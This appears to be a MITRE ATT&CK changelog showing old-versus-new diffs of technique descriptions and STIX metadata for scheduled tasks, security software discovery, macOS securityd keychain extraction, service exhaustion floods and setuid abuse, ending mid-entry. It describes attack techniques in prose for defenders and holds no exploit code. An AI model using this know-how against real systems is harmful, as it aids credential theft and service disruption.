| versaries have used the Windows netapi32 library to create a | | Task Scheduler, and alternatively, adversaries have used th |
| scheduled task. The deprecated [at](https://attack.mitre.o | | e Windows netapi32 library to create a scheduled task. The |
| rg/software/S0110) utility could also be abused by adversari | | deprecated [at](https://attack.mitre.org/software/S0110) uti |
| es (ex: [At (Windows)](https://attack.mitre.org/techniques/T | | lity could also be abused by adversaries (ex: [At](https://a |
| 1053/002)), though <code>at.exe</code> can not access tasks | | ttack.mitre.org/techniques/T1053/002)), though <code>at.exe< |
| created with <code>schtasks</code> or the Control Panel. An | | /code> can not access tasks created with <code>schtasks</cod |
| adversary may use Windows Task Scheduler to execute program | | e> or the Control Panel. An adversary may use Windows Task |
| s at system startup or on a scheduled basis for persistence. | | Scheduler to execute programs at system startup or on a sche |
| The Windows Task Scheduler can also be abused to conduct re | | duled basis for persistence. The Windows Task Scheduler can |
| mote Execution as part of Lateral Movement and or to run a p | | also be abused to conduct remote Execution as part of Latera |
| rocess under the context of a specified account (such as SYS | | l Movement and/or to run a process under the context of a sp |
| TEM). | | ecified account (such as SYSTEM). Similar to [System Binary |
| | | Proxy Execution](https://attack.mitre.org/techniques/T1218), |
| | | adversaries have also abused the Windows Task Scheduler to |
| | | potentially mask one-time execution under signed/trusted sys |
| | | tem processes.(Citation: ProofPoint Serpent) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Andrew Northern, @ex_raritas', 'Bryan Campbell, @bry_campbell', 'Zachary Abzug, @ZackDoesML', 'Selena Larson, @selenalarson'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-12-30 14:26:44.730000+00:00 | 2022-04-14 20:59:17.110000+00:00 |
| description | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM). | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent) |
| external_references[1]['source_name'] | Twitter Leoloobeek Scheduled Task | ProofPoint Serpent |
| external_references[1]['description'] | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. | Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. |
| external_references[1]['url'] | https://twitter.com/leoloobeek/status/939248813465853953 | https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain |
| external_references[2]['source_name'] | TechNet Forum Scheduled Task Operational Setting | Twitter Leoloobeek Scheduled Task |
| external_references[2]['description'] | Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. |
| external_references[2]['url'] | https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen | https://twitter.com/leoloobeek/status/939248813465853953 |
| external_references[3]['source_name'] | TechNet Scheduled Task Events | Microsoft Scheduled Task Events Win10 |
| external_references[3]['description'] | Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. | Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. |
| external_references[3]['url'] | https://technet.microsoft.com/library/dd315590.aspx | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events |
| external_references[4]['source_name'] | Microsoft Scheduled Task Events Win10 | TechNet Scheduled Task Events |
| external_references[4]['description'] | Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. | Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events | https://technet.microsoft.com/library/dd315590.aspx |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'TechNet Forum Scheduled Task Operational Setting', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'} |
| x_mitre_data_sources | | Process: Process Creation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Process: Process Creation | |
[T1053] Scheduled Task/Job
Current version: 2.2
Version changed from: 2.1 → 2.2
|
|
|---|
| t | Adversaries may abuse task scheduling functionality to facil | t | Adversaries may abuse task scheduling functionality to facil |
| itate initial or recurring execution of malicious code. Util | | itate initial or recurring execution of malicious code. Util |
| ities exist within all major operating systems to schedule p | | ities exist within all major operating systems to schedule p |
| rograms or scripts to be executed at a specified date and ti | | rograms or scripts to be executed at a specified date and ti |
| me. A task can also be scheduled on a remote system, provide | | me. A task can also be scheduled on a remote system, provide |
| d the proper authentication is met (ex: RPC and file and pri | | d the proper authentication is met (ex: RPC and file and pri |
| nter sharing in Windows environments). Scheduling a task on | | nter sharing in Windows environments). Scheduling a task on |
| a remote system typically requires being a member of an admi | | a remote system typically may require being a member of an a |
| n or otherwise privileged group on the remote system.(Citati | | dmin or otherwise privileged group on the remote system.(Cit |
| on: TechNet Task Scheduler Security) Adversaries may use ta | | ation: TechNet Task Scheduler Security) Adversaries may use |
| sk scheduling to execute programs at system startup or on a | | task scheduling to execute programs at system startup or on |
| scheduled basis for persistence. These mechanisms can also b | | a scheduled basis for persistence. These mechanisms can als |
| e abused to run a process under the context of a specified a | | o be abused to run a process under the context of a specifie |
| ccount (such as one with elevated permissions/privileges). | | d account (such as one with elevated permissions/privileges) |
| | | . Similar to [System Binary Proxy Execution](https://attack. |
| | | mitre.org/techniques/T1218), adversaries have also abused ta |
| | | sk scheduling to potentially mask one-time execution under a |
| | | trusted system process.(Citation: ProofPoint Serpent) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-557 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 14:36:26.445000+00:00 | 2022-04-14 20:59:52.686000+00:00 |
| description | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)
Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)
Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) |
| external_references[1]['source_name'] | capec | ProofPoint Serpent |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/557.html | https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain |
| x_mitre_data_sources[0] | File: File Creation | Container: Container Creation |
| x_mitre_data_sources[1] | Container: Container Creation | File: File Creation |
| x_mitre_data_sources[2] | Scheduled Job: Scheduled Job Creation | Process: Process Creation |
| x_mitre_data_sources[5] | Process: Process Creation | Scheduled Job: Scheduled Job Creation |
| x_mitre_version | 2.1 | 2.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/557.html', 'external_id': 'CAPEC-557'} |
| x_mitre_contributors | | Andrew Northern, @ex_raritas |
| x_mitre_contributors | | Bryan Campbell, @bry_campbell |
| x_mitre_contributors | | Zachary Abzug, @ZackDoesML |
| x_mitre_contributors | | Selena Larson, @selenalarson |
[T1518.001] Software Discovery: Security Software Discovery
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may attempt to get a listing of security softwar | t | Adversaries may attempt to get a listing of security softwar |
| e, configurations, defensive tools, and sensors that are ins | | e, configurations, defensive tools, and sensors that are ins |
| talled on a system or in a cloud environment. This may inclu | | talled on a system or in a cloud environment. This may inclu |
| de things such as firewall rules and anti-virus. Adversaries | | de things such as firewall rules and anti-virus. Adversaries |
| may use the information from [Security Software Discovery]( | | may use the information from [Security Software Discovery]( |
| https://attack.mitre.org/techniques/T1518/001) during automa | | https://attack.mitre.org/techniques/T1518/001) during automa |
| ted discovery to shape follow-on behaviors, including whethe | | ted discovery to shape follow-on behaviors, including whethe |
| r or not the adversary fully infects the target and/or attem | | r or not the adversary fully infects the target and/or attem |
| pts specific actions. Example commands that can be used to | | pts specific actions. Example commands that can be used to |
| obtain security software information are [netsh](https://att | | obtain security software information are [netsh](https://att |
| ack.mitre.org/software/S0108), <code>reg query</code> with [ | | ack.mitre.org/software/S0108), <code>reg query</code> with [ |
| Reg](https://attack.mitre.org/software/S0075), <code>dir</co | | Reg](https://attack.mitre.org/software/S0075), <code>dir</co |
| de> with [cmd](https://attack.mitre.org/software/S0106), and | | de> with [cmd](https://attack.mitre.org/software/S0106), and |
| [Tasklist](https://attack.mitre.org/software/S0057), but ot | | [Tasklist](https://attack.mitre.org/software/S0057), but ot |
| her indicators of discovery behavior may be more specific to | | her indicators of discovery behavior may be more specific to |
| the type of software or security system the adversary is lo | | the type of software or security system the adversary is lo |
| oking for. It is becoming more common to see macOS malware p | | oking for. It is becoming more common to see macOS malware p |
| erform checks for LittleSnitch and KnockKnock software. Adv | | erform checks for LittleSnitch and KnockKnock software. Adv |
| ersaries may also utilize cloud APIs to discover the configu | | ersaries may also utilize cloud APIs to discover the configu |
| rations of firewall rules within an environment.(Citation: E | | rations of firewall rules within an environment.(Citation: E |
| xpel IO Evil in AWS) | | xpel IO Evil in AWS) For example, the permitted IP ranges, p |
| | | orts or user accounts for the inbound/outbound rules of secu |
| | | rity groups, virtual firewalls established within AWS for EC |
| | | 2 and/or VPC instances, can be revealed by the <code>Describ |
| | | eSecurityGroups</code> action with various request parameter |
| | | s. (Citation: DescribeSecurityGroups - Amazon Elastic Comput |
| | | e Cloud) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Isif Ibrahima, Mandiant'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-581 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-29 16:05:00.198000+00:00 | 2022-04-11 22:26:34.327000+00:00 |
| description | Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) | Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud) |
| external_references[1]['source_name'] | capec | Expel IO Evil in AWS |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/581.html | https://expel.io/blog/finding-evil-in-aws/ |
| external_references[2]['source_name'] | Expel IO Evil in AWS | DescribeSecurityGroups - Amazon Elastic Compute Cloud |
| external_references[2]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | Amazon Web Services, Inc. . (2022). DescribeSecurityGroups. Retrieved January 28, 2022. |
| external_references[2]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html |
| x_mitre_data_sources[3] | Process: Process Creation | Process: OS API Execution |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/581.html', 'external_id': 'CAPEC-581'} |
| x_mitre_data_sources | | Process: Process Creation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Process: OS API Execution | |
[T1555.002] Credentials from Password Stores: Securityd Memory
Current version: 1.1
Version changed from: 1.0 → 1.1
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|
|---|
| t | An adversary may obtain root access (allowing them to read s | t | An adversary may obtain root access (allowing them to read s |
| ecurityd’s memory), then they can scan through memory to fin | | ecurityd’s memory), then they can scan through memory to fin |
| d the correct sequence of keys in relatively few tries to de | | d the correct sequence of keys in relatively few tries to de |
| crypt the user’s logon keychain. This provides the adversary | | crypt the user’s logon keychain. This provides the adversary |
| with all the plaintext passwords for users, WiFi, mail, bro | | with all the plaintext passwords for users, WiFi, mail, bro |
| wsers, certificates, secure notes, etc.(Citation: OS X Keych | | wsers, certificates, secure notes, etc.(Citation: OS X Keych |
| ain) (Citation: OSX Keydnap malware) In OS X prior to El Ca | | ain)(Citation: OSX Keydnap malware) In OS X prior to El Cap |
| pitan, users with root access can read plaintext keychain pa | | itan, users with root access can read plaintext keychain pas |
| sswords of logged-in users because Apple’s keychain implemen | | swords of logged-in users because Apple’s keychain implement |
| tation allows these credentials to be cached so that users a | | ation allows these credentials to be cached so that users ar |
| re not repeatedly prompted for passwords. (Citation: OS X Ke | | e not repeatedly prompted for passwords.(Citation: OS X Keyc |
| ychain) (Citation: External to DA, the OS X Way) Apple’s sec | | hain)(Citation: External to DA, the OS X Way) Apple’s securi |
| urityd utility takes the user’s logon password, encrypts it | | tyd utility takes the user’s logon password, encrypts it wit |
| with PBKDF2, and stores this master key in memory. Apple als | | h PBKDF2, and stores this master key in memory. Apple also u |
| o uses a set of keys and algorithms to encrypt the user’s pa | | ses a set of keys and algorithms to encrypt the user’s passw |
| ssword, but once the master key is found, an attacker need o | | ord, but once the master key is found, an adversary need onl |
| nly iterate over the other values to unlock the final passwo | | y iterate over the other values to unlock the final password |
| rd.(Citation: OS X Keychain) | | .(Citation: OS X Keychain) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-02-17 13:16:53.850000+00:00 | 2022-03-08 21:43:20.609000+00:00 |
| description | An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)
In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain) | An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)
In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain) |
| x_mitre_version | 1.0 | 1.1 |
[T1505] Server Software Component
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
- M1024: Restrict Registry Permissions
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 17:05:44.743000+00:00 | 2022-04-01 17:11:00.534000+00:00 |
| x_mitre_data_sources[1] | File: File Modification | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Process: Process Creation | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Content | Application Log: Application Log Content |
| x_mitre_data_sources[4] | Network Traffic: Network Traffic Flow | File: File Modification |
| x_mitre_data_sources[5] | Application Log: Application Log Content | Process: Process Creation |
| x_mitre_version | 1.2 | 1.3 |
[T1499.002] Endpoint Denial of Service: Service Exhaustion Flood
Current version: 1.3
Version changed from: 1.2 → 1.3
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|---|
| t | Adversaries may target the different network services provid | t | Adversaries may target the different network services provid |
| ed by systems to conduct a DoS. Adversaries often target DNS | | ed by systems to conduct a denial of service (DoS). Adversar |
| and web services, however others have been targeted as well | | ies often target the availability of DNS and web services, h |
| .(Citation: Arbor AnnualDoSreport Jan 2018) Web server softw | | owever others have been targeted as well.(Citation: Arbor An |
| are can be attacked through a variety of means, some of whic | | nualDoSreport Jan 2018) Web server software can be attacked |
| h apply generally while others are specific to the software | | through a variety of means, some of which apply generally wh |
| being used to provide the service. One example of this type | | ile others are specific to the software being used to provid |
| of attack is known as a simple HTTP flood, where an adversa | | e the service. One example of this type of attack is known |
| ry sends a large number of HTTP requests to a web server to | | as a simple HTTP flood, where an adversary sends a large num |
| overwhelm it and/or an application that runs on top of it. T | | ber of HTTP requests to a web server to overwhelm it and/or |
| his flood relies on raw volume to accomplish the objective, | | an application that runs on top of it. This flood relies on |
| exhausting any of the various resources required by the vict | | raw volume to accomplish the objective, exhausting any of th |
| im software to provide the service.(Citation: Cloudflare HTT | | e various resources required by the victim software to provi |
| Pflood) Another variation, known as a SSL renegotiation att | | de the service.(Citation: Cloudflare HTTPflood) Another var |
| ack, takes advantage of a protocol feature in SSL/TLS. The S | | iation, known as a SSL renegotiation attack, takes advantage |
| SL/TLS protocol suite includes mechanisms for the client and | | of a protocol feature in SSL/TLS. The SSL/TLS protocol suit |
| server to agree on an encryption algorithm to use for subse | | e includes mechanisms for the client and server to agree on |
| quent secure connections. If SSL renegotiation is enabled, a | | an encryption algorithm to use for subsequent secure connect |
| request can be made for renegotiation of the crypto algorit | | ions. If SSL renegotiation is enabled, a request can be made |
| hm. In a renegotiation attack, the adversary establishes a S | | for renegotiation of the crypto algorithm. In a renegotiati |
| SL/TLS connection and then proceeds to make a series of rene | | on attack, the adversary establishes a SSL/TLS connection an |
| gotiation requests. Because the cryptographic renegotiation | | d then proceeds to make a series of renegotiation requests. |
| has a meaningful cost in computation cycles, this can cause | | Because the cryptographic renegotiation has a meaningful cos |
| an impact to the availability of the service when done in vo | | t in computation cycles, this can cause an impact to the ava |
| lume.(Citation: Arbor SSLDoS April 2012) | | ilability of the service when done in volume.(Citation: Arbo |
| | | r SSLDoS April 2012) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019. |
| external_references | | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. |
| external_references | | Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019. |
| external_references | | CAPEC-488 |
| external_references | | CAPEC-489 |
| external_references | | CAPEC-528 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-488 | |
| external_references | CAPEC-489 | |
| external_references | CAPEC-528 | |
| external_references | Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019. | |
| external_references | ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019. | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-29 16:11:12.815000+00:00 | 2022-04-19 23:20:50.470000+00:00 |
| description | Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.
One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)
Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) | Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.
One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)
Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) |
| external_references[1]['source_name'] | capec | Arbor SSLDoS April 2012 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/488.html | https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new |
| external_references[2]['source_name'] | capec | Cisco DoSdetectNetflow |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/489.html | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf |
| external_references[3]['source_name'] | capec | Cloudflare HTTPflood |
| external_references[3]['url'] | https://capec.mitre.org/data/definitions/528.html | https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/ |
| external_references[4]['url'] | https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf | https://web.archive.org/web/20180320005525/https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf |
| external_references[5]['source_name'] | Cloudflare HTTPflood | capec |
| external_references[5]['url'] | https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/ | https://capec.mitre.org/data/definitions/488.html |
| external_references[6]['source_name'] | Arbor SSLDoS April 2012 | capec |
| external_references[6]['url'] | https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new | https://capec.mitre.org/data/definitions/489.html |
| external_references[7]['source_name'] | Cisco DoSdetectNetflow | capec |
| external_references[7]['url'] | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf | https://capec.mitre.org/data/definitions/528.html |
| x_mitre_data_sources[1] | Application Log: Application Log Content | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Flow | Application Log: Application Log Content |
| x_mitre_version | 1.2 | 1.3 |
[T1548.001] Abuse Elevation Control Mechanism: Setuid and Setgid
Current version: 1.1
Version changed from: 1.0 → 1.1
|
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|---|
| t | An adversary may perform shell escapes or exploit vulnerabil | t | An adversary may abuse configurations where an application h |
| ities in an application with the setsuid or setgid bits to g | | as the setuid or setgid bits set in order to get code runnin |
| et code running in a different user’s context. On Linux or m | | g in a different (and possibly more privileged) user’s conte |
| acOS, when the setuid or setgid bits are set for an applicat | | xt. On Linux or macOS, when the setuid or setgid bits are se |
| ion, the application will run with the privileges of the own | | t for an application binary, the application will run with t |
| ing user or group respectively. (Citation: setuid man page). | | he privileges of the owning user or group respectively.(Cita |
| Normally an application is run in the current user’s contex | | tion: setuid man page) Normally an application is run in the |
| t, regardless of which user or group owns the application. H | | current user’s context, regardless of which user or group o |
| owever, there are instances where programs need to be execut | | wns the application. However, there are instances where prog |
| ed in an elevated context to function properly, but the user | | rams need to be executed in an elevated context to function |
| running them doesn’t need the elevated privileges. Instead | | properly, but the user running them may not have the specifi |
| of creating an entry in the sudoers file, which must be don | | c required privileges. Instead of creating an entry in the |
| e by root, any user can specify the setuid or setgid flag to | | sudoers file, which must be done by root, any user can speci |
